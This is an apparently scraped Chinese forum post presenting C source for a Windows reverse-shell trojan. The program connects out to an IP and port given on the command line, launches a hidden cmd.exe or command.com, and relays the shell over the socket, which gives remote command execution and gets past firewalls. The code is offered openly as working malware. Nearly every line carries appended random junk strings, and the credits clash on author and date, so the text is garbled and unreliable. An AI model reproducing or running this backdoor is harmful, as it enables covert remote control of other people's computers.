这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 lA/-fUA
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/* ============================== URbB2
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Rebound port in Windows NT Jx}-Y*
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By wind,2006/7 j_<!y(W
===============================*/ ysIhUpd
#include aHpZhR|f$
#include m26YAcip}
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#pragma comment(lib,"wsock32.lib") N AY3.e
u?dPCgs;h
void OutputShell(); U887@-!3
SOCKET sClient; 3Xd:LDZ{
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 3Z*o5@RI
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void main(int argc,char **argv) J9]cs?`)
{ <anKw|
WSADATA stWsaData; -40X3
int nRet; _ ~\} fY
SOCKADDR_IN stSaiClient,stSaiServer; HNBmq>XDc
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if(argc != 3) 0^o/cSF
{ W~D_+[P|_
printf("Useage:\n\rRebound DestIP DestPort\n"); u|Mx}
return; +D]raU
} [{u3g4`}
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WSAStartup(MAKEWORD(2,2),&stWsaData); v]F4o1ckk
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Bz-jy.
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stSaiClient.sin_family = AF_INET; H~Vf;k>
stSaiClient.sin_port = htons(0); 6V JudNA
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); $'Mf$h
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) +#BOWz
{ _r\M}lDh*
printf("Bind Socket Failed!\n"); QNU~G3
return; Sm4BZF~!B
} ]gcOMC
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stSaiServer.sin_family = AF_INET; EXVZ?NG
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); llX `
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ?%Nh4+3N>
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~BJE~
{ Pm/i,T6&\
printf("Connect Error!"); *4`5&) `
return; AK&>3D
} J$1H3#VVG
OutputShell(); \b(&-=(
} Ta?}n^V?;
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void OutputShell() -W('^v_*
{ ;; +AdN5
char szBuff[1024]; ;j1E 6
SECURITY_ATTRIBUTES stSecurityAttributes; `<se&IZE
OSVERSIONINFO stOsversionInfo; ~d]v{<3
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; SU~.baP?
STARTUPINFO stStartupInfo; ~i%=1&K&`
char *szShell; &U]/SFY
PROCESS_INFORMATION stProcessInformation; #Iz)Mu
unsigned long lBytesRead; J}xM+l7uY
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); "*t6KXVaM
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); A<)n H=G&
stSecurityAttributes.lpSecurityDescriptor = 0; '_.qhsS
stSecurityAttributes.bInheritHandle = TRUE; pz['o
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 1;=L]
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); %mT/y%&:
3jxC}xz)
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); g3NUw/]#
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %w65)BFQ
stStartupInfo.wShowWindow = SW_HIDE; L>sLb(2\i
stStartupInfo.hStdInput = hReadPipe; nI6ompTX
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; !mUJ["#
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GetVersionEx(&stOsversionInfo); PtW2S 1?j
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switch(stOsversionInfo.dwPlatformId) `K.B`
{ (Fzy8
s
case 1: 96V8R<
szShell = "command.com"; 'A:Y&w"r
break; :\"0jQ.y|
default: )f:i4.M
szShell = "cmd.exe"; 2\1+M)
break; /y-D_
} I{(!h90
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); cHF W"g78
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send(sClient,szMsg,77,0); ~-7/9$ay5
while(1) Ex
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{ {\1bWr8!U
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); =exCpW>
if(lBytesRead) e*}zl>f
{ Ie^Ed`
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 'D5J5+.z
send(sClient,szBuff,lBytesRead,0); :zKW[sF
} 1}=D
else T"Y#u
{ rueaP
lBytesRead=recv(sClient,szBuff,1024,0); "{D/a7]lC
if(lBytesRead<=0) break; $oQOOa@;i)
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); J2VPOn
} #2_FM!e
} u5}:[4N%I
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return; u$a K19K/
}